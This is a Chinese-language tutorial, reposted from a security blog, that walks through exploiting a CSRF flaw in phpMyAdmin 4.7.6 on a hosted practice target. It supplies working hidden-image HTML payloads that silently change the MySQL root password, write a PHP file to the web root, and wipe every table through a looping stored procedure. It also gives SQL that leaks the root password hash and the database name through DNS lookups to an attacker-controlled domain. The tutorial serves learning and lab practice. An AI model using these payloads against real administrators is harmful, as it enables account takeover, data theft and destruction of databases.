phpMyAdmin是個知名MySQL/MariaDB在線管理工具,phpMyAdmin團隊在4.7.7版本中修復了一個危害嚴重的CSRF漏洞(PMASA-2017-9),攻擊者可以通過誘導管理員訪問惡意頁面,悄無聲息地執行任意SQL語句。
該篇文章我們將結合VulnSpy的在線phpMyAdmin環境來熟悉該漏洞的利用。
在線 phpMyAdmin CSRF 演練地址:https://www.vulnspy.com/?u=pmasa-2017-9
注:重啟演示靶機即可重置靶機
1 在線創建 phpMyAdmin 環境
點擊 VulnSpy 提供的創建靶機地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)
跳轉到 VSPlate 后,直接點擊GO
按鈕,便會自動創建一個 phpMyAdmin 環境
打開演示地址
的鏈接,我們的 phpMyAdmin 就創建完成了。
使用帳號 root
,密碼 toor
,登錄 phpMyAdmin 。根據頁面信息,我們可以發現當前 phpMyAdmin 的版本為 4.7.6,剛好匹配存在漏洞的 phpMyAdmin 版本。
2 CSRF 漏洞利用 – 修改當前數據庫用戶密碼
我們知道,如果要利用CSRF來刪除或修改數據庫內容,通查情況下需要提前知道數據庫名、表名和字段名。這樣利用顯得有點復雜,成功率也有限,因此本文我們將介紹幾種較為通用的利用方式。
在MySQL中支持使用SQL語句來修改當前用戶密碼。比如將當前用戶密碼修改為[www.vulnspy.com](http://www.vulnspy.com)
,對應的SQL語句為:
SET passsword=PASSWORD('www.vulnspy.com');
利用演示
2.1 模擬管理員登錄phpMyAdmin的狀態。
用帳號 root 密碼 toor 登錄 phpMyAdmin 。
2.2 創建含有惡意代碼的頁面。
文件名 2.payload.html (將下面的域名換成自己的靶機域名)
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password %20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
2.3 用瀏覽器打開含有惡意代碼的文件 2.payload.html
回到上一步打開的phpMyAdmin頁面,發現已自動退出,而且用原來的密碼 toor 已經無法登錄。
2.4 使用密碼 www.vulnspy.com 登錄成功,表明利用成功
3 CSRF 漏洞利用 – 寫文件
MySQL支持將查詢結果寫到文件當中,我們可以利用該特性來寫入PHP文件。比如將代碼<?php phpinfo();?>
寫到文件/var/www/html/test.php
中,對應的SQL語句為:
select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';
利用演示
3.1 將上一個演示步驟相同,只需將2.2中的文件代碼改成:
<p>Hello World</p> <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />
3.2 用瀏覽器打開含有惡意代碼的文件
3.3 訪問 test.php
可見文件已經寫入成功。
4 CSRF 漏洞利用 – 獲取數據
MySQL提供了load_file()
函數來支持讀取文件內容的操作。比如讀取文件/etc/passwd
內容,,對應的SQL語句為:
select load_file('/etc/passwd');
但是對於CSRF漏洞來說,該讀取操作實在目標用戶端執行的,我們依然無法知道文件讀取的結果。而load_file()
在Windows下支持從網絡共享文件夾中讀取文件,如\\192.168.1.100\share\vulnspy.txt
。網絡共享文件的地址處不僅可以填寫IP還可以填寫域名,我們可以通過DNS解析來獲取查詢的數據。
此處需要用到 DNSLOG 之類的工具:https://github.com/BugScanTeam/DNSLog, 這類工具可以記錄域名的 DNS 解析記錄
比如通過DNS解析來獲取當前 MySQL root 用戶密碼,對應的SQL語句為:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test'));
獲取當前數據庫名:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test'));
如果請求成功,查詢結果將作為二級域名的一部分出現在我們的 DNS 解析記錄當中。
該環境暫無法演示
5 CSRF 漏洞利用 – 清空所有數據表
如果上面幾種利用方式都無法直接造成直接的影響,我們可以利用SQL語句來清空當前MySQL用戶可操作的所有數據表。
我們用命令
SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1
來獲取數據名和表名,並將其拼接成刪除語句(如:DELETE FROM vulnspy_tables.inv
),通過 execute
來執行生成的刪除語句:
set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1); prepare stmt from @del; execute stmt;
但是 execute 一次只能執行一條SQL語句,因此我們可以利用循環語句來逐一執行:
DROP PROCEDURE IF EXISTS EMPT; DELIMITER $$ CREATE PROCEDURE EMPT() BEGIN DECLARE i INT; SET i = 0; WHILE i < 100 DO SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1); PREPARE STMT FROM @del; EXECUTE STMT; SET i = i +1; END WHILE; END $$ DELIMITER ; CALL EMPT();
利用演示
5.1 Payload如下
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />
5.2 用瀏覽器打開含有惡意代碼的文件
5.3 回到 phpMyAdmin 中查看數據
可以發現數據庫vulnspy_tables
和數據庫vulnspy_test
中的數據已經被清空。
6 總結
這個 phpMyAdmin 的 CSRF 漏洞利用有點類似 SQL 盲注的利用,但是對於漏洞觸發的時間不可控(即不知道管理員何時會訪問含有惡意代碼的頁面),因此需要更加通用的利用方式。通過該實驗,不僅了解該漏洞的內容,還可以更加熟悉CSRF漏洞的利用。
本文轉載自:phpMyAdmin 4.7.x CSRF 漏洞利用 - https://blog.vulnspy.com/2018/06/10/phpMyAdmin-4-7-x-XSRF-CSRF-vulnerability-exploit/
i春秋推出優享會員制,開通會員可以免費暢享多類課程、實驗、CTF賽題等付費內容,並可享有包括會員日專屬福利、就業推薦等多種特權福利,更多活動詳情可點擊:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~